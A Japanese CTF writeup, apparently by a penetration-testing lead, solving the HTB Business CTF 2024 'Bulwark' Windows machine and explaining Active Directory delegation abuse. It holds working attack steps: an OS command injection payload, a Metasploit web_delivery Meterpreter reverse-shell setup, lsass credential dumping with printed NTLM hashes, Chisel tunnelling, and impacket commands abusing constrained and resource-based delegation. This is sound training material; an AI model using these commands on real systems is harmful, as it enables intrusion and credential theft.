
【HTB Business CTF 2024:Bulwark】Machine WriteupとActive Directoryの委任の話
はじめに
ペネトレーションテスト及びレッドチームサービスのリーダーをしているルスランです。
私達は「HTB Business CTF 2023」から参加し始めて、自分は今年も去年と同様に「Forensic」と「Fullpwn」のカテゴリーの問題を解いていました。
「Forensic」は専門ではありませんが、業務上なるべく足跡を残さないようにテストを実施することもあるため、ある程度の知識や興味があります。「Forensic」と異なり、「Fullpwn」のカテゴリーはHack The Boxの一般的なマシンやラボの問題に近く、日常業務でも類似した作業を行なっているため、比較的やりやすい分野でした。
今回は「HTB Business CTF 2024」で解いた、Hardレベルの「Bulwark」マシンの解説を行いたいと思います。本記事においては実施内容の流れ、考え方・理由などをなるべく細かく説明します。Hardレベルのマシンであることも考慮し、読者にある程度の知識があることを想定しています。
※このマシン自体の内容も面白く、Active Directory(特に委任周り)などにおける細かいポイントの紹介にも適していると考えています。最終的に「root」フラグを取得したチームは943チーム中わずか2チーム(イエラエ含む)で、「user」フラグを取得したチームは6チームでした。
「HTB Business CTF 2024」: https://ctf.hackthebox.com/event/details/htb-business-ctf-2024-the-vault-of-hope-after-party-1577
PS. 本記事のレビューとすばらしい図を作ってくれた、いつも大変協力してもらっている、川田くんに大感謝です!
環境情報
カテゴリ: Fullpwn
OS: Windows
Level: Hard
簡易な内容: Webアプリケーションにおけるディレクトリ・パラメータ探索
開発環境(API)の発見・悪用(RCE)
Active Directoryにおけるの設定不備の発見・悪用
Windowsにおけるタスクマネージャー・DPAPIなどの悪用

Part 1: 初期調査、侵入口の探索
対象サーバを起動した後にnmapを実行し、稼働中のサービスを確認しました。
cmd:
nmap -n 10.129.238.136 -sVC

8080/tcp
ポートが開いていることを検出し、nmapの出力から以下の内容を確認しました。
- IISベースのWebサーバが稼働している => ほぼ確実に対象サーバはWindows
- リダイレクト先からドメイン名が漏洩している => VirtualHost名はbulwarkadm.htb
対象Webサーバにおいて、複数のVirtualHostが存在する可能性があるため、アクセス元端末の/etc/hosts
を以下の通りに設定をしました。
続いて、ブラウザからドメイン名でアクセス可能なことを確認しました。
ここから一般的に以下の調査内容が考えられます。
1. Webアプリケーションの調査
- 認証系: 認証回避(認証機能、回復機能など)、自己サインアップ、匿名アクセスなど
- 機能系: 脆弱かつ危険な機能の存在、ロジックに関する脆弱性の有無など
- コンテンツ探索: ディレクトリ・ファイル探索など
- ファジング: APIのエンドポイント、パラメータ名など
- その他: サブドメイン名(VirtualHost)の探索
2. 発見した脆弱性の悪用
- サーバサイド: Path Traversal、SSTI、LFI、Injection(SQL、OS Command)など
- クライアントサイド: 主にXSS(Reflected, Stored, Blind)
まず、HTMLのソースコードを確認し、WebアプリケーションがPHP言語で実装されており、API方式になっていることがわかりました。
続いて、dirsearchやデフォルトで入っている辞書を用いてディレクトリ探索を実施しました。
dirsearch: https://github.com/maurosoria/dirsearch
cmd:dirsearch -u http://bulwarkadm.htb:8080/ -e php

実行結果から、APIのv1
とv2
が存在することがわかります。
また、ブラウザから任意のアカウントでログインを試みる際、ログインリクエストが/api/v1/auth.php
に飛ぶことが確認できました。
ディレクトリ探索の結果から把握したv2
のAPIにリクエストを送信してみると、v1
と同様の機能がv2
にも存在することがわかりました。ただし、v2
の方は現在開発中で動作しないことが確認できました。

上記の探索や動的なテストを実施した結果から、以下の推測ができます。
- v2は開発中のため、脆弱性が存在する可能性がある
- Webアプリケーションにおいて閲覧権限がない部分に、APIにおいて認証欠如の脆弱性が存在する可能性がある
続いて、もっと大きめの(単語数の多い)辞書を利用して、ルートディレクトリや検出したディレクトリ(例:/api/
、/js/
など)にさらなるディレクトリ探索、もしくはファイル探索(php
、log
、txt
などの適切な拡張子を設定したうえで)を行いました。今回は/api/
配下のみに注目し、他のディレクトリ探索のプロセスは省略します。
dirsearchではパラメータファジングなどが行えないため、ツールをffufに変更します。辞書については、有名かつ質も高いSecListsに含まれるワードリストを用いて/api/v1/
配下に対するディレクトリやファイルの探索を行いました。
ffuf: https://github.com/ffuf/ffuf
SecLists: https://github.com/danielmiessler/SecListsディレクトリ探索(ファイル、DNSなど含む)ツールの比較ページ: https://github.com/six2dez/pentest-book/blob/master/others/web-fuzzers-comparision.md
cmd:
ffuf -w SecLists/Discovery/Web-Content/raft-large-directories.txt -u http://bulwarkadm.htb:8080/api/v1/FUZZ -fc 302

- 検出されたディレクトリ一覧
/api/v1/agents
/api/v1/files
/api/v1/mail
/api/v1/notify
続いて、検出された各ディレクトリ(例:agents
)の配下にもディレクトリやファイルの探索を行いました。
cmd:
ffuf -w SecLists/Discovery/Web-Content/raft-large-directories.txt -u http://bulwarkadm.htb:8080/api/v1/agents/FUZZ.php -fc 302

/api/v1/
配下の各ディレクトリで検出されたファイル一覧
/api/v1/agents/tasks.php
/api/v1/agents/add.php
/api/v1/agents/remove.php
/api/v1/agents/recruitment.php
/api/v1/files/backup.php
/api/v1/files/classified.php
/api/v1/files/fetch.php
/api/v1/mail/inbox.php
/api/v1/mail/compose.php
/api/v1/notify/activities.php
/api/v1/notify/notifications.php
Burp Suiteのリピーター機能を用いて各エンドポイントにリクエストを送信していきました。その結果、予想した通り認証不備の脆弱性があることを発見しました。
例えば、/api/v1/notify/activities.php
のv1
のAPIにリクエストを送信すると、アクセスが拒否されることを確認しました。

ただし、開発中のv2
のAPIにリクエストを送信すると、未認証でアクセスに成功し、情報の取得が可能であることを確認しました。

これらの結果から、v2
のAPIにはv1
と違って複数の脆弱性があると予想できました。
Part 2: RCEへの旅
本タスクにおいて、最終結果は同じですが最初の探索などによって、RCEに至る経路が厳密には二つ存在します。CTF中に経路1の方で進めました。
v2
のAPIに脆弱性があることがわかったため、これからv2
をベースに探索や悪用を行いました。
経路1:アカウントを作成し、RCEの脆弱性があるエンドポイントを探索する
探索結果からエンドポイント名を確認し、その名前通りにアカウントを追加できそうな/api/v2/agents/add.php
にアクセスして、自己サインアップができるか確認しました。

レスポンスが「Method not allowed」のエラーになったため、リクエストのメソッドをGET
からPOST
に変えて、改めてアクセスしてみました。

今回はレスポンスが「Internal Server Error」のエラーになったため、少し考えてリクエストのContent-Type
をapplication/x-www-form-urlencoded
からapplication/json
に変えて、ボディに空白のJSONを入力して、リクエストを送信してみました。

レスポンスがまた変わって、「Missing parameters」のエラーになることを確認しました。試しに適当な名前のパラメータをつけてリクエストを送信してみた結果、アプリケーションから「Invalid parameter」のエラーが返されました。

上記の結果から以下の推測が可能となります。
- 無効なパラメータ名が指定されている場合、「Invalid parameter」のエラーになる
- パラメータがない、または指定されているパラメータは有効であるものの必要なパラメータが不足している場合、「Missing parameters」のエラーになる
パラメータ名のブルートフォースにはffufとSecListsを使用しました。レスポンスなどを確認し、ffufを用いて適切にファジングを実施するため、以下の設定を行いました。
// いずれかの設定で十分です
-ms 32 => パラメータ名の推測に成功した場合、パラメータ数が不足していることにより「Missing parameters」になると推測
-fr Invalid => パラメータ名の推測に成功した場合、レスポンスに「Invalid」の文字列がなくなると推測
cmd:
ffuf -w SecLists/Discovery/Web-Content/burp-parameter-names.txt -u http://bulwarkadm.htb:8080/api/v2/agents/add.php -X POST -H 'Content-Type: application/json' -d '{"FUZZ":""}' -ms 32 -fr Invalid

検出した4つのパラメータを入力してアカウントを作成してみると、「Missing parameters」のエラーになり、まだパラメータが足りないことがわかりました。この時点でアカウント名を表すusername
、name
、accountname
などの文字列が必要と推測しました。

最初のログイン機能からアカウント名がBulwarkID
となっていることを確認し、登録リクエストに設定してみました。

BulwarkID
をそのまま設定してもエラーになったため、全ての文字を小文字にする必要があると推測し、無事にアカウントの登録に成功しました。

登録した認証情報を用いることで、ダッシュボードにログイン可能なことを確認しました。

ログイン後、色々な機能を確認すると多くの機能が無効となっていることがわかりました。

一通り全ての機能を確認した結果、File ManagementページのBackup機能のみが有効であることがわかりました。

対象API:
/api/v1/files/backup.php
本リクエストにバックアップ対象のフォルダを入力する形になっているように見えたため、test
を設定して送信してみました。しかし、「Folder does not exist.」のエラーが発生し、正常にAPIを実行できませんでした。

File Managementページにアクセスする際のリクエストを確認すると、/api/v1/files/fetch.php
が呼び出されており、レスポンスにフォルダ名のような文字列が含まれていることに気づきました。

folder
パラメータにレスポンスから取得した値(例:CLD_2022
)を入力することで、APIの正常な実行に成功しました。

v1
のままで対象パラメータに対して脆弱性の調査を行ってみましたが、脆弱性は発見できませんでした。そのため、v2
のエンドポイントに切り替えて改めて調査を行いました。

v2
のエンドポイントも正常に動作することを確認し、様々なペイロードを用いて脆弱性の調査を行った結果、folder
パラメータにCLD_2022 & test
を設定することでレスポンスが変わることに気づきました。

最後に、OSコマンドを実行できるか検証しました。
アクセス元端末でtcpdump -i tun0 icmp
といったコマンドを実行し、ペイロードにCLD_2022 & ping 10.10.14.83
を入力することでOSコマンド実行に成功し、pingコマンドによるICMPパケットがアクセス元端末に到達することを確認しました。

経路2:直接的にRCEの脆弱性があるエンドポイントを探索する
この経路はアカウントを登録せずに最初からファイル処理のAPIを発見することで、最短経路でRCEに至ることが可能です。
ディレクトリ探索中に発見した以下のv2
のAPIのエンドポイントを対象にしました。
/api/v2/files/fetch.php -> GET
/api/v2/files/backup.php -> POST
/api/v2/files/fetch.php
のAPIにアクセスし、フォルダやファイルの構成のようなレスポンスを取得します。

その後、経路1と同様に/api/v2/files/backup.php
のAPIに対してJSON形式でPOSTリクエストを送信して、「No folder specified.」のエラーが発生することを確認しました。

エラーの内容からパラメータ名がfolder
であることを推測し、その推測に基づいてすぐに経路1のRCEができる状態まで至ってしまいました。

RCEに至るまでの流れは、他のHack the Boxのマシンやバグバウンティ、実際の診断業務でも同様にディレクトリやパラメータ名・値のファジングを行う必要がよくあるため、適切でリアルなシナリオに近いと感じました。
リバースシェルを取得する
RCEが可能な状態からリバースシェルを取得する方法は複数存在しますが、今回は最も簡単な方法として、Metasploitフレームワークのweb_deliveryモジュールを使用し、Meterpreterのペイロードを使用しました。
一例として、以下の通り設定しました。
msfconsole
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set srvhost tun0_IP
set lhost tun0_IP
set lport 443
run

生成されたPowerShellのワンライナーをfolder
パラメータに設定し、無事にリバースシェルの取得に成功しました。
今回使用したPowershellのワンライナーはStaged方式のペイロードであり、初期コードでAMSIの回避、プロキシや認証周りの設定を行った後、実際のエージェント(meterpreter)のシェルコードをメモリ内に展開して、実行しました。

Part 3: userフラグの取得
RCEを通して侵入したサーバの調査
- 把握点
サーバに入ってから
backup.php
ファイルを確認すると、RCEの原因とこれからの経路のヒントが確認できました。

folder
パラメータ値と固定ディレクトリの文字列が連結され、そのままphpのexec
関数に渡されることがRCEの原因となりました。以下にcmdで実行されるコマンドの例を示しました。ヒント:
// New way, utilizing the AD changes we made - we need to test and update this ASAP.
サーバに侵入した後、乗っ取ったアカウントの権限、プロセス一覧、重要そうなファイルについて調査を行いました。
C:>whoami /all
USER INFORMATION
----------------
User Name SID
================ ==============================================
bulwarkm.benson S-1-5-21-4088429403-1159899800-2753317549-1601
GROUP INFORMATION
-----------------
Group Name Type SID
==========================================================
BUILTINAdministrators Alias S-1-5-32-544
...
C:>set
USERDNSDOMAIN=BULWARK.HT
COMPUTERNAME=MS01
...
C:>nltest /dclist:bulwark.htb
Get list of DCs in domain 'bulwark' from '\DC01'.
DC01.bulwark.htb [PDC] [DS] Site: Default-First-Site-Name
C:Usersm.benson>tree /f /a
C:.
+---Backup
| | backupqueue
| |
| ---v2backups
+---Documents
| ---Classified_Docs
| +---CLD_2022
| | CLD_00_08082022TSE.pdf
+---scripts
| Backup.ps1
上記の結果から以下のまとめができます。
- アカウント名: m.benson(ローカル管理者権限あり)
- サーバ名: MS01
- Domain名: bulwark.htb
- Domain Controller名: DC01.bulwark.htb
- 不明な「C:Usersm.bensonscriptsBackup.ps1」ファイルが存在する
Backup.ps1
ファイルを確認すると、追加のヒントのような内容を取得することができました。
ヒント:
// Waiting for successful import of the new fileserver in order to continue.

サーバの調査を進め、カスタムなBackupTask
タスクが存在することがわかりました。
cmd:
schtasks

BackupTask
タスクの詳細内容を確認しました。
cmd:
schtasks /query /tn "BackupTask" /fo LIST /v

内容を確認し、以下のことがわかります。
- m.bensonアカウントがタスクの作成者で、backupservice$アカウントで実行されているタスクである
- backupservice$はアカウント名からおそらくgMSAアカウントであると推測可能
m.bensonアカウントがサーバのローカル管理者権限を保有しているため、meterpreterのgetsystemコマンドを用いてSYSTEM権限まで昇格し(SeDebug権限を有効化し、任意のSYSTEM権限で実行されているプロセスのトークンを取得して自分にimpersonateさせる)、meterpreterのkiwiモジュールを使用して、lsassプロセスから認証情報のダンプを行いました。結果として、複数のユーザのNTLMハッシュを取得することに成功しました。
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > load kiwi
[!] The "kiwi" extension has already been loaded.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM
-------- ------ ----
MS01$ BULWARK 805d459774fc850a413ae6d31e848cde
backupservice$ BULWARK b571730c862f68e2bb2e39b632d888a4
m.benson BULWARK 7194c10df52e54d9e43bc3b0d16de0ff
lsassプロセス内には複数の認証プロバイダーが存在し、複数の種類の認証情報が保存されています。
例:
- NTLMハッシュ: NTLM (NT LAN Manager) の認証方式で使用されるハッシュです。MD4でエンコードされたパスワードのUNICODE形式をハッシュ化したものです。Pass-the-Hash攻撃では、このハッシュを使って直接認証を行うことができます。
- 平文認証情報: 特定のアプリケーションが認証情報を平文で管理する必要がある場合、これらの情報がメモリ内に平文で保存されることがあります。
- Kerberosチケット: Kerberosは、ネットワークサービスの認証プロトコルで、特にActive Directory環境で広く使用されています。チケット授与チケット (TGT) とサービスチケット (TGS) は、認証プロセスの一部としてメモリ内に保存されます。
- Credential Manager: WindowsのCredential Managerは、ユーザ名、パスワード、証明書などの資格情報を安全に保存します。これらの資格情報は、特定のアプリケーションやサービスにアクセスするために使用されます。
- DPAPI (Data Protection API): WindowsのDPAPIは、ユーザのデータを暗号化および復号するためのAPIです。これにより、アプリケーションはユーザのデータを安全に保存できます。認証情報もDPAPIを使用して保護されることがあります。
- SSPI (Security Support Provider Interface)**: WindowsのSSPIは、セキュリティサービスにアクセスするためのAPIです。KerberosやNTLMなどの認証プロトコルをサポートし、認証情報を管理します。
以下はCTF中には確認していなかった項目ですが、IISサーバのアプリケーションプールで使用されている認証情報(今回はm.bensonのもの)を取得することも可能でした。Windowsの権限昇格調査に使われているwinPEASの検証項目にも入っています。
winPEAS: https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS
cmd:
C:WindowsSystem32inetsrv>appcmd.exe list apppools /text:name C:WindowsSystem32inetsrv>appcmd.exe list apppools BulwarkADM /text:processmodel.username C:WindowsSystem32inetsrv>appcmd.exe list apppools BulwarkADM /text:processmodel.password

定期的にリバースシェルが切断されてしまう場合、別のプロセス(ユーザまたはSYSTEM権限で実行されているプロセス)にインジェクトして、C2セッションを再構築することを推奨します。注意点として、プロセスによっては外部通信が制限されている可能性があるため、外部通信ができなくなった場合は、次の異なるプロセスを選定して試してみることをお勧めします。


この環境にはドメインコントローラなど他のサーバも存在するため、現在侵入している端末を踏み台にする必要がありました。そのためには、Metasploitフレームワークに組み込まれているSocksサーバを使用するか、Chiselをアップロードして使用するのがお勧めです。
Metasploitの場合

Chiselの場合
Chisel: https://github.com/jpillora/chisel
Chiselの難読化: https://speakerdeck.com/cryptopeg/pentesutoniguan-surutips
以下の例では侵入先サーバからアクセス元端末の4444/tcp
ポートに接続することでSocksプロキシを構築し、アクセス元端末の5555/tcp
ポートをSocksプロキシ用のポートとして開放します。
- アクセス元端末側
cmd:
chisel server -p 4444 --socks5 -v --reverse

- 侵入先サーバ側
cmd:
chisel.exe client http://tun_IP:4444 R:5055:socks

続いて、proxychainsツールの設定ファイルを作りました。
cmd:
nano htb.conf
dynamic_chain proxy_dns remote_dns_subnet 224 tcp_read_time_out 15000 tcp_connect_time_out 8000 [ProxyList] socks5 127.0.0.1 5055
最後に、ドメインコントローラへのアクセスが可能なことを確認しました。
cmd:
proxychains -f htb.conf netexec smb dc01.bulwark.htb

Active Directory: Bulwarkドメインの調査
Active Directoryの調査にはさまざまなツールが存在し、以下に示すツールがよく使用されます。
Windowsからの実行(基本的にエージェント経由の実行):
- SharpHound: BloodHoundの情報収集専用エージェントであり、ネットワーク内のActive Directoryの構造や権限の関係を視覚化するためのデータを収集します
- PowerView: PowerSploitの一部であり、Active Directory情報の収集、ユーザとグループの調査、権限の監査などを行うためのPowerShellスクリプトです
- Rubeus: Kerberos認証に関連する操作を行うツールで、チケットのリクエスト、キャプチャ、リレー、クラックなどの機能を提供します
- SysinternalsのAD Explorer: Active Directoryデータベースを表示、検索、編集するためのツールで、Active Directoryの構造と内容を詳細に調査することができます
Linuxからの実行(proxychainsまたはドメインコントローラに直接アクセスが可能な場合):
- bloodhound.py: SharpHoundのPython版で、同様にActive Directoryの情報を収集し、BloodHoundでの分析に使用されます
- impacket: 複数のネットワークプロトコルを実装したPythonライブラリで、Kerberos認証を含むさまざまなネットワーク操作を行うためのツールです
- netexec (旧crackmapexec): ネットワークの監査とエクスプロイトフレームワークで、Active Directoryの情報収集、権限昇格、パスワードクラックなどを行います
まず、SharpHoundをMS01サーバにアップロード(メモリ内での実行も可能)して実行し、収集されたデータをBloodHoundにインポートしてドメインオブジェクト関係グラフを作成しました。
SharpHound: https://github.com/BloodHoundAD/SharpHound
BloodHound: https://github.com/BloodHoundAD/BloodHoundcmd:
SharpHound.exe -c all


BloodHoundのインストールやデータインポートの説明を省略しました。以下の参考リンクをご確認ください。
Domain Admins
グループのメンバーを確認しました。
administrator, g.melworth

Domain Computers
グループのメンバーを確認しました。
Domain controller: DC01, Fileserver: FS02, Webserver: MS01

BloodHoundが自動で表示してくれる、ドメインコントローラへのアクセス経路を確認しました。
FS02サーバに侵入してローカル管理者権限を奪取し、ドメイン管理者g.melworthのセッションを乗っ取る

MS01サーバにbackupserviceアカウント(gMSA)のパスワード取得が可能な権限が付与されていることを確認できました。
グループ管理サービスアカウント(gMSA): グループ管理サービスアカウントの特徴として、パスワード管理が自動化されており、実質的にコンピュータアカウントと同様のものです

今までの調査結果をまとめると以下になりました。
- 我々はMS01サーバの管理者であるm.bensonユーザからC2セッションを確立できている
- MS01サーバアカウントのNTLMハッシュが取得できているため、必要に応じてbackupserviceアカウントのパスワードの取得も可能(何に必要かはまだわかっていない)
- おそらくuserフラグはドメイン管理者g.melworthがログイン中のFS02サーバにあり、FS02サーバに侵入して権限昇格を行なった後、ドメイン管理者g.melworthの権限が手に入り、rootフラグをドメインコントローラのDC01サーバから取得できる(予想)
しかし、BloodHoundの結果だけでは次に進む経路が確認できないため、ツールを変えて追加調査を行いました。
BloodHoundの結果にはACL(アクセス制御リスト)の一部が反映されないことがあるため、Windows端末ではPowerViewまたはAD Module、Linux端末ではpowerview.pyなどを追加で使用することをお勧めします。
以下の例ではpowerview.pyを使用しました。
powerview.py: https://github.com/aniqfakhrul/powerview.py
cmd:
proxychains -q -f htb.conf powerview bulwark.htb/m.benson@dc01.bulwark.htb -H :7194c10df52e54d9e43bc3b0d16de0ff --use-ldap
まず、パスワードが取得可能なbackupserviceアカウントについて調査を行いました。
その結果、backupserviceアカウントにConstrained Delegationが設定されていることが判明しました。
cmd:
Get-DomainComputer -TrustedToAuth

Constrained Delegationのより細かい設定を確認するため、ThePorgs
のimpacketのForkを使用することをお勧めします。
impacket(ThePorgs): https://github.com/ThePorgs/impacket
cmd:
proxychains -q -f htb.conf ./impacket-theporgs/examples/findDelegation.py bulwark.htb/m.benson -hashes :7194c10df52e54d9e43bc3b0d16de0ff

上記の結果を確認すると、backupserviceアカウントはcifs/FS01
サービスに対してConstrained without Protocol Transitionが設定さていることがわかりました。
委任について(分類と悪用方法)
これからの悪用の流れを理解するため、一度Active Directoryの委任(Delegation)の話を軽くしたいと思います。
委任形式の概要
Active Directoryにおいて委任は3種類あります。
- Unconstrained Delegation
Unconstrained Delegation(制約のない委任)は最も強力であり、かつ最も危険な委任の形態です。この設定が有効になっているサービスアカウントは、ユーザがこのサービスにアクセスする際にそのユーザのTGSチケットを保持し、他のサービスに対してそのユーザとして認証を行うことができます。
- Constrained Delegation
Constrained Delegation(制約付き委任)は、指定されたサービスに対してのみ委任が可能です。この設定により、特定のサービスに対してのみ認証情報を委任することができます。Protocol Transitionの可否で悪用方法が異なります。
- Resource-based Constrained Delegation
Resource-based Constrained Delegation(リソースベースの制約付き委任、RBCD)は、リソース自身がどのサービスに対して委任を許可するかを制御します。この設定により、リソース自体が委任の許可リストを持つことができます。
Constrained Delegation without Protocol Transitionの概要図をベースに委任を悪用した攻撃手法について、概要をお話しします。
そもそも、Delegationとは特定のサービスにアクセスしてきたユーザの権限で、そのサービスから他のサービスにアクセスする必要がある場合に設定されます。
以下の例では、webサーバで稼働するサービスに対してKerberos認証が行われた場合、webサーバは委任によって認証してきたユーザの権限でfileserverサーバのSMB(cifs)にアクセスすることができます。
with Protocol Transitionの場合はNTLM認証でアクセスしてきたユーザの委任も可能ですが、without Protocol Transitionの場合はKerberos認証によりサービスに渡されるTGSチケットが委任に必要です。

大まかな悪用手順は以下の通りです。
- 乗っ取りたいユーザのTGSチケットを取得します。
Constrained Delegation without Protocol TransitionやUnconstrained Delegationの場合、乗っ取りたいユーザのTGSチケットが必要です。Constrained Delegation without Protocol Transitionの場合、RBCDと組み合わせてTGSチケットを取得することになりますが、詳細は後述します。Unconstrained Delegationの場合はドメインコントローラ等のマシンアカウントから認証を強制させるのが一般的です。 - サービス自身に対して有効かつFowardableなTGSチケットを発行します(S4U2Self)。
受け取ったTGSチケットにはForwardableフラグが付与されている必要があります。Forwardableフラグが付与されている場合にのみ、後続のS4U2Proxyが可能です。
Constrained Delegation without Protocol TransitionやUnconstrained Delegationが設定されている場合はS4U2SelfでForwardableフラグが付与されたTGSチケットを取得するためにユーザのTGSチケットが必要になります。 - S4U2Selfで発行したTGSチケットを用いて委任先サービスへのTGSチケットを発行します(S4U2Proxy)。
委任先として指定できるサービスは委任の設定に依存します。 - S4U2Proxyで発行したTGSチケットを用いて対象サーバにアクセスします。
Constrained Delegationの場合、委任先のサービスは指定されていますが、TGSチケットを編集することで任意のサービス(任意のサーバではない)へのアクセスが可能になります。

※ Unconstrained Delegationについての詳細な説明は今回は省略します。
Constrained Delegationの分類
今回のメインテーマである、Constrained Delegationについて話をしたいと思います。Constrained Delegationの中でも2種類の設定を行うことが可能です。
- Constrained Delegation with Protocol Transition
この設定では、プロトコル遷移(Protocol Transition)を使用してユーザの認証情報を委任します。具体的にはユーザがTGSチケットを提供しなくても、サービスアカウントが他のサービスに対して委任を行うことができます。
攻撃者がこの設定を持つアカウントを乗っ取ることで、NTLM認証を含む任意の認証プロトコルを使用して認証情報を委任し、バックエンドサービスに対して委任されたユーザとして認証を行うことができます。
例えば、攻撃者が特定のファイル共有サービスに対して委任されたユーザとして認証できる場合、以下のように設定を確認することができます。
cmd:
./impacket-theporgs/examples/findDelegation.py test.local/lowpriv:P@ssw0rd

- Constrained Delegation without Protocol Transition
この設定ではユーザが最初にKerberos認証を行い、その後に特定のサービスに対して委任を行うことができます。プロトコル遷移はサポートされていないため、ユーザからTGSチケットを受け取る必要があります。

ここで、今後の流れで必要となるS4U2SelfおよびS4U2Proxyを説明します(冒頭の概要図、手順②および③)。
- S4U2Self
サービスがユーザの代わりにサービス自身に対して有効なTGSチケットを取得するための機能です。
- S4U2Proxy
サービスが他のサービスに対してユーザの代理としてTGSチケットを取得するための機能です。
参考記事: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/02636893-7a1f-4357-af9a-b672e3e3de13
参考記事: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/bde93b0e-f3c9-4ddf-9f44-e1453be7af5a
Constrained Delegationの悪用
まず、本環境のbackupserviceアカウントに設定されているConstrained Delegationの確認と悪用方法について説明します。
1) Constrained Delegation with Protocol Transition(プロトコル遷移を伴う制約付き委任)
Constrained Delegation with Protocol Transitionの確認方法にはLDAPを使用した対象オブジェクトのプロパティ確認や各種ツールの使用がありますが、ここでは主にimpacketを使用します。
先述のfindDelegationスクリプトを用いて、設定がConstrained Delegation with Protocol Transitionになっていることを確認します。
S4U2SelfによりTGSチケットを取得してみると、Forwardableフラグが付いていることが確認できます。
cmd:
./impacket-theporgs/examples/getST.py TEST.LOCAL/WEB$ -hashes :c857765fa85ebc326f674881fedcfdd7 -impersonate Administrator -self ./impacket-theporgs/examples/describeTicket.py Administrator@WEB$@TEST.LOCAL.ccache

委任させたいアカウントをimpersonateパラメータに指定し、委任先サービスをspnパラメータに設定したうえでgetSTスクリプトを実行します。S4U2Selfに続いてS4U2Proxyのリクエストも成功し、指定したSPNに対するAdministratorのTGSチケットが取得されます。最後に取得したTGSチケットを環境変数KRB5CCNAME
に設定し、smbclientスクリプトによってcifsサービス(SMB)にアクセスします。
cmd:
./impacket-theporgs/examples/getST.py TEST.LOCAL/WEB$ -hashes :c857765fa85ebc326f674881fedcfdd7 -impersonate Administrator -spn cifs/fileserver.test.local export KRB5CCNAME=Administrator@cifs_fileserver.test.local@TEST.LOCAL.ccache ./impacket-theporgs/examples/smbclient.py TEST.LOCAL/Administrator@fileserver.test.local -k -no-pass

2) Constrained Delegation without Protocol Transition(プロトコル遷移を伴わない制約付き委任)
次に、Constrained Delegation without Protocol Transitionについて説明します。
S4U2SelfによりTGSチケットを取得すると、describeTicketスクリプトでForwardableフラグが付いていないことが確認できます。
同様に委任させたいアカウントをimpersonateパラメータに指定し、委任先サービスをspnパラメータに設定したうえでgetSTスクリプトを実行するとスクリプトが失敗し、「KDC_ERR_BADOPTION」エラーになります。これは、without Protocol Transitionの場合、S4U2Selfによって取得されるTGSチケットにForwardableフラグがつかないためです。
この委任を正常に動作させるためにはサービス自身のS4U2Selfに依存することなく、対象アカウントのTGSチケットを取得する必要があります。
本環境ではbackupserviceアカウントにcifs/FS01
サービスに対するConstrained without Protocol Transitionが設定されていることから、backupserviceアカウントのみを用いて委任させたいアカウントのForwardableフラグ付きTGSチケットを取得することはできません。
ただし、ある条件を満たせばResource-based Constrained Delegationを追加することで攻撃が可能になります。先にRBCDの確認と悪用方法について説明します。
Resource-Based Constrained Delegation (RBCD)の悪用
最も知られている一般的なRBCDの悪用方法はおそらく、特定のマシンアカウントに書き込み権限(GenericWrite/WriteAccountRestrictions)を持つユーザアカウントが乗っ取られ、結果として対象端末/サーバに侵入が可能になる攻撃だと思います。

AD_JOINアカウントがWEBサーバのマシンアカウントに書き込み権限を保持している上記の状態を前提に、RBCDのいくつかの悪用方法を紹介します。
1) 任意のマシンアカウントの認証情報を特定している場合
本ケースに当てはまる例として、新規コンピュータオブジェクトの追加した場合、または侵入先の端末/サーバにおいて権限昇格に成功し、マシンアカウントのNTLMハッシュの取得に成功した場合が考えられます。
以下の例では、マシンアカウントであるFILESERVERの認証情報を把握していることを想定しています。
cmd:
./impacket-theporgs/examples/rbcd.py test.local/ad_join:P@ssw0rd -delegate-to WEB$ -action write -delegate-from FILESERVER$ ./impacket-theporgs/examples/rbcd.py test.local/ad_join:P@ssw0rd -delegate-to WEB$ -action read

cmd:
./impacket-theporgs/examples/findDelegation.py test.local/lowpriv:P@ssw0rd

ここまで来ると、悪用方法はConstrained Delegation without Protocol Transitionと同様になります。これは、いわゆるSilverチケットという攻撃です。
cmd:
./impacket-theporgs/examples/getST.py TEST.LOCAL/FILESERVER$ -hashes :7c42991e09d8e94479317e1bdb7a7452 -impersonate Administrator -spn cifs/web.test.local export KRB5CCNAME=Administrator@cifs_web.test.local@TEST.LOCAL.ccache ./impacket-theporgs/examples/smbclient.py TEST.LOCAL/Administrator@web.test.local -k -no-pass

2) 対象のマシンアカウントに書き込み可能なユーザアカウントのみを使う場合
前提として、lowprivアカウントはRBCDを設定するFILESERVERアカウントにGenericWriteなどの権限を持ち、lowprivアカウント自身をFILESERVERアカウントの委任元(msDS-AllowedToActOnBehalfOfOtherIdentity)に設定します。
cmd:
./impacket-theporgs/examples/rbcd.py test.local/lowpriv:P@ssw0rd -delegate-to FILESERVER$ -action write -delegate-from lowpriv

- ユーザアカウントのパスワード変更による悪用(委任元アカウントの平文パスワードまたはNTLMハッシュを知っている場合)
ここでは、James Forshaw氏が発見した方法について説明をします。RBCDの仕様上、委任元のアカウントにSPN(ユーザアカウントの場合はUPN)が設定されている必要があります。ただし、Forshaw氏が確認した通りRBCDの委任元としてユーザアカウントが設定されている場合、ユーザアカウントのUPNに対するS4U2SelfによるTGTチケットの取得はドメインコントローラ側の問題により、正常に復号されません。ただし、そのTGTチケットの暗号化に用いられているセッション鍵をアカウントのパスワードに設定することで、ドメインコントローラにTGSチケットを正常に復号させることに成功し、S4U2Selfの処理が可能となります。さらに細かく知りたい方以下のリンクをご参照ください。
最終的にユーザアカウントのTGTチケットはRC4(このセッションキーをそのままパスワードとして設定するため)によって暗号化されていることになります。
ユーザアカウントのみでRBCDを実行する方法: https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html
一般的な方法でS4U2Selfを実行してみると、lowprivアカウントのチケットの復号に失敗することが確認できます。
cmd:
./impacket-theporgs/examples/getST.py TEST.LOCAL/lowpriv:P@ssw0rd -impersonate Administrator -spn serviceaccount/test.local

ここからlowprivアカウントのTGTチケットを取得します。ここでは上記で説明したRC4の必要性に注意が必要です。getTGTスクリプトをアカウントのパスワードを使用して実行する場合、デフォルトではAES256(アカウントにAES256鍵がある限り)でTGTチケットが暗号化されます。
cmd:
./impacket-theporgs/examples/getTGT.py TEST.LOCAL/lowpriv:P@ssw0rd

